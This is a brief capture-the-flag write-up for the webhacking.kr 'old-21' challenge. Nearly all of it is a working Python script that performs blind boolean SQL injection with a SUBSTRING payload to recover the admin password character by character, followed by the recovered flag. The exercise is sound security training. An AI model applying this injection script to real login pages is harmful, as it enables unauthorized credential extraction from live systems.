old-21 -- SQLi (Blind Extract Password)



Last updated



Last updated
from aiohttp import ClientSession
import asyncio
import string
URL = 'https://webhacking.kr/challenge/bonus-1/index.php'
CHARSET = string.ascii_letters + string.digits + '{}!?,_'
PAYLOAD = "admin' AND SUBSTRING(pw,{},1)='{}' -- -"
async def fetch(session, search):
async with session.get(URL, params={'id': search, 'pw': 'uwu'}) as resp:
text = await resp.text()
if 'wrong password' in text:
return True
else:
return False
async def main():
password = ''
password_i = len(password) + 1
async with ClientSession() as session:
while True:
tasks = [
fetch(session, PAYLOAD.format(password_i, c))
for c in CHARSET
]
print(f'\r[{password_i}] {password}', end='')
results = await asyncio.gather(*tasks)
for i, result in enumerate(results):
if result:
password += CHARSET[i]
password_i += 1
break
else:
print(f'\r[Password] {password}')
break
if __name__ == '__main__':
asyncio.run(main())➜ py .\old-21.py
[Flag] there_is_no_rest_for_the_white_angel